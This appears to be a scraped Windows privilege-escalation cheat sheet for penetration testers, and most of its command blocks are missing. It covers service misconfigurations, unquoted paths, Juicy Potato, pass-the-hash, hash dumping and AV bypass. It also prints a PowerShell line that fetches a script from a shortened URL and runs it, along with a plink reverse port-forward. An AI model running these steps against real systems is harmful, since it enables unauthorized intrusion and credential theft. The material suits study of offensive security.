Windows Privilege Escalation Examples

MindMap

Windows Kernel Sploit List

Videos

Useful commands

Credential reuse

Sometimes a user that you have the credentials for is also the administrator on the system, but uses the same password for both accounts. So never forget to try passwords when you have the chance. Just don't overdo it so you trigger some lockout mechanism and get detected.

Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group. As you can see from the output of the three commands below the username is hacker, he is part of the group administrators. In this case, a privilege escalation is not necessary because we are already in the administrators group!

• whoami

• net localgroup administrator

• net user "%username%"

Getting a shell in limited interpreters:

Bind cmd to a port:

Reverse shell:

To capture NTLM hash

Spin up smbserver.py and connect via smb to your server on kali. ie smbclient -L //$kali$ip

System info

Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.

Find installed patches, architecture, OS version

Get exact OS version

Hostname

Environment

List open connections

Network information

Information about a Users & Administrator

Find current user.

List all users

Firewall information

List scheduled tasks

List windows services

Links running processes to started services

Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system.

We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:

Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:

Obtain the permission string of all services

The following commands will print the affected services:

If wmic is not available we can use sc.exe:

You can also manually check each service using cacls:

If you don't have access to wmic, you can do:

Windows XP SP1 is known to be vulnerable to PE in upnphost. You get Administrator with:

If it fails because of a missing dependency, run the following:

Or remove the dependency:

Using meterpreter:

acesschk.exe

If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:

Then query the service using Windows sc:

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

Note - Might need to use the depend attribute explicitly:sc stop <vuln-service>

Juicy Potato (abusing the golden privileges)

If you have SeAssingPrimaryToken or SeImpersonate privileges, you can get SYSTEM.

Vulnerable Win versions

create payload

run juicy potato

capture connection

Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder.

For example, the following path would be vulnerable:

Not vulnerable

Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):

We could place our payload with any of the following paths:

The following command will display affected services:

Check Permissions

We might even be able to override the service executable, always check out the permissions of the service binary:

You can automate with meterpreter:

PowerUp

PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations

Import the PowerUp module with the following:

PS C:\> Import-Module PowerUp.ps1

CanRestart

If you want to invoke everything without touching disk, use something like this:

C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”

Finding stuff fast

ClearText passwords (quick hits)

findstr /s /C:"stringtosearchfor.txt" "C:*"

We might sometimes find passwords in arbitrary files, you can find them running:

Find all those strings in config files.

Find all passwords in all files.

These are common files to find them in. They might be base64-encoded. So look out for that.

Stuff in the registry:

Using meterpreter:

Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

Windows hash format:

You can do a hash dump in the affected system running:

Download and run fgdump.exe on the target machine.

or:

You can also do run as, with the hash:

Technique 1:

Technique 2:

Technique 3:

Services only available from loopback

You can find services bind to the loopback interface that are not reachable through the network running. Look for LISTENING/LISTEN:

Port forward using plinplink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080

Port forward using meterpreter

If powershell is blocked, you can download:

Once you know the updates installed, you can find known exploits using windows-exploit-suggester.

Compile windows exploit in linux:

Compiling python scripts to executables:

AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, create your own malicious msi:

Then use msiexec on victim to execute your msi:

Metasploit module:

Windows-privesc-checker2

Vulnerable drivers

Third party drivers might contain vulnerabilities, find them running:

Kernel vulnerabilities

Run exploit suggester against systeminfo:

Find installed paths:

Comprehensive tables of vulnerabilities below:

Windows version map

Automated tools

Powersploit

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment

Reverse Shell from Windows

If there’s a way, we can execute code from windows, we may try

• Uploading ncat and executing it

• Powershell Empire/ Metasploit Web-Delivery Method

• Invoke-Shellcode (from powersploit) see below

Metasploit

Metasploit incognito

Useful commands

Add a new user

Print files contents:

Remove file

Change password for user:

List users:

Info about a user:

Permissions on a folder recursively:

Enable RDP access

This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in.

Disable firewall

Run exploit

JAWS

Metasploit

Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions

Other scripts

Useful exploits

Automatically downloads and compiles exploit

Windows Remote Exploits:

Windows Local Exploits:

Check out:

Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:

Windows MS11-080

http://www.exploit-db.com/exploits/18176/

From admin to system

AV bypass

Generating a mutated binary to bypass antiviruses

Access Check

You will probably need to accept the eula first:

Windows hashes

NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG

LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).

NTLM/NTLM2: It does not split the password, also stored in uppercase

Kerberos: Default protocol for active directory envs.PoCs

Add user to administrator group

Run an arbitrary command:

Print proof